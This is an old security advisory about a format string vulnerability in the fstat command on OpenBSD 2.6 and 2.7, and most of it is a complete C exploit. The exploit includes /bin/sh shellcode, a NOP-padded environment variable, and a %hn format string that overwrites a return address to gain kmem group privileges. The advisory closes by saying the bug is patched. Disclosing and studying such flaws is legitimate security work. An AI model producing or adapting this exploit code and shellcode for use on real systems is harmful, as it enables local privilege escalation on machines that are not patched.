COMMAND
fstat
SYSTEMS AFFECTED
OpenBSD 2.6, 2.7
PROBLEM
K2 posted following. Here is another exploit for an application
(fstat) that OpenBSD's format string audit has seemingly forgotten
about. On 2.6 (using the canned exploit) you get egid=2 (kmem).
/*
* theoBSD fstat - private caddis & K2 release
* TagTeam exploit coding @$_*#%*&(#%(**(@$*($@
*
* greets: #!adm, #!teso, #!w00w00
*
*/
#include <stdio.h>
char bsd_shellcode[] =
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";
struct platform {
char *name;
unsigned short count;
unsigned long dest_addr;
unsigned long shell_addr;
char *shellcode;
};
struct platform targets[2] =
{
{ "OpenBSD 2.7 i386 ", 590, 0xdfbfc490, 0xdfbfde04, bsd_shellcode },
{ NULL, 0, 0, 0, NULL }
};
char fmt_string[3072], jmpcode[500] = "PWD=HI", term[] = "TERM=xterm";
char *envs[] = { term, jmpcode, NULL};
void usage(char *name)
{
printf("%s <TARGET>\n"
"1 - OpenBSD 2.7 i386\n", name);
exit(1);
}
int main(int argc, char *argv[])
{
char *p;
int x, len = 0;
struct platform *target;
unsigned short low, high;
unsigned long shell_addr[2], dest_addr[2];
if (argc != 2)
usage(argv[0]);
x = atoi(argv[1]) - 1;
if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct platform)) - 1 || x < 0)
usage(argv[0]);
target = &targets[x];
memset(fmt_string, 0, sizeof(fmt_string));
len = (sizeof(long) * 4) + 2;
p = fmt_string + len;
for (x = 0; x < target->count; x++) {
strcat(p, "%8x");
len += 8;
}
shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
shell_addr[1] = target->shell_addr & 0xffff;
if (shell_addr[1] > shell_addr[0]) {
dest_addr[0] = target->dest_addr+2;
dest_addr[1] = target->dest_addr;
low = shell_addr[0] - len;
high = shell_addr[1] - low - len;
} else {
dest_addr[0] = target->dest_addr;
dest_addr[1] = target->dest_addr+2;
low = shell_addr[1] - len;
high = shell_addr[0] - low - len;
}
memcpy(fmt_string, "!!", 2);
*(long *)&fmt_string[2] = 0x11111111;
*(long *)&fmt_string[6] = dest_addr[0];
*(long *)&fmt_string[10] = 0x11111111;
*(long *)&fmt_string[14] = dest_addr[1];
memset(jmpcode, 0x90, sizeof(jmpcode));
strcpy(jmpcode + (sizeof(jmpcode) - strlen(target->shellcode) - 1), target->shellcode);
p = fmt_string + strlen(fmt_string);
sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
execle("/usr/bin/fstat", "fstat", fmt_string, NULL, envs);
perror("execve");
}
SOLUTION
This has been fixed. Look for patch at www.openbsd.org. 2.8
does not give you a shell, but instead results in a "File name
too long" message.